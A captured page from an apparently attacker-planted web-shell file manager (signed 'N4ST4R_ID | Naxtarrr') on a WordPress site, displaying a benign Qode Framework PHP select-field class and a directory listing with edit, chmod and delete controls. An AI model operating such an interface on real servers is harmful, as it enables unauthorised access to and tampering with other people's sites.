Submit
Path:
~
/
home
/
getwphos
/
www
/
pioneerasphalt
/
wp-content
/
plugins
/
qode-framework
/
inc
/
common
/
fields
/
File Content:
class-qodeframeworkfieldselect.php
<?php if ( ! defined( 'ABSPATH' ) ) { // Exit if accessed directly. exit; } class QodeFrameworkFieldSelect extends QodeFrameworkFieldType { public function __construct( $params ) { $select_class = 'qodef-select2'; if ( isset( $params['args'] ) && isset( $params['args']['select2'] ) && false == $params['args']['select2'] ) { $select_class = ''; } $params['select_class'] = $select_class; $params['multiple'] = ''; if ( isset( $params['args'] ) && isset( $params['args']['multiple'] ) && $params['args']['multiple'] ) { $params['multiple'] = 'multiple'; } parent::__construct( $params ); } public function render_field() { $field_name = ! empty( $this->params['multiple'] ) ? $this->name . '[]' : $this->name; ?> <select class="<?php echo esc_attr( $this->params['select_class'] ); ?> qodef-field" name="<?php echo esc_attr( $field_name ); ?>" data-option-name="<?php echo esc_attr( $this->name ); ?>" data-option-type="selectbox" <?php echo esc_attr( $this->params['multiple'] ); ?>> <?php foreach ( $this->options as $key => $label ) { if ( '-1' == $key ) { $key = ''; } if ( is_array( $label ) ) { ?> <optgroup label="<?php echo esc_attr( ucwords( str_replace( '-', ' ', $key ) ) ); ?>"> <?php foreach ( $label as $sub_key => $sub_label ) { ?> <option <?php if ( ( is_array( $this->params['value'] ) && in_array( strval( $sub_key ), $this->params['value'], true ) ) || $this->params['value'] == $sub_key ) { echo " selected='selected'"; } ?> value="<?php echo esc_attr( $sub_key ); ?>"> <?php echo esc_html( $sub_label ); ?> </option> <?php } ?> </optgroup> <?php } else { ?> <option <?php if ( ( is_array( $this->params['value'] ) && in_array( strval( $key ), $this->params['value'], true ) ) || $this->params['value'] == $key ) { echo " selected='selected'"; } ?> value="<?php echo esc_attr( $key ); ?>"> <?php echo esc_html( $label ); ?> </option> <?php } ?> <?php } ?> </select> <?php } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
class-qodeframeworkfieldaddress.php
1321 bytes
0644
class-qodeframeworkfieldcheckbox.php
1425 bytes
0644
class-qodeframeworkfieldcolor.php
580 bytes
0644
class-qodeframeworkfielddate.php
951 bytes
0644
class-qodeframeworkfieldfile.php
1558 bytes
0644
class-qodeframeworkfieldfont.php
1247 bytes
0644
class-qodeframeworkfieldgooglefont.php
1006 bytes
0644
class-qodeframeworkfieldhidden.php
757 bytes
0644
class-qodeframeworkfieldicon.php
1342 bytes
0644
class-qodeframeworkfieldiconpack.php
1318 bytes
0644
class-qodeframeworkfieldimage.php
2104 bytes
0644
class-qodeframeworkfieldnumber.php
1581 bytes
0644
class-qodeframeworkfieldpassword.php
991 bytes
0644
class-qodeframeworkfieldradio.php
1979 bytes
0644
class-qodeframeworkfieldselect.php
2158 bytes
0644
class-qodeframeworkfieldtext.php
1443 bytes
0644
class-qodeframeworkfieldtextarea.php
572 bytes
0644
class-qodeframeworkfieldtextareaeditor.php
431 bytes
0644
class-qodeframeworkfieldtextareahtml.php
619 bytes
0644
class-qodeframeworkfieldtextareasvg.php
618 bytes
0644
class-qodeframeworkfieldtype.php
5587 bytes
0644
class-qodeframeworkfieldyesno.php
1011 bytes
0644
N4ST4R_ID | Naxtarrr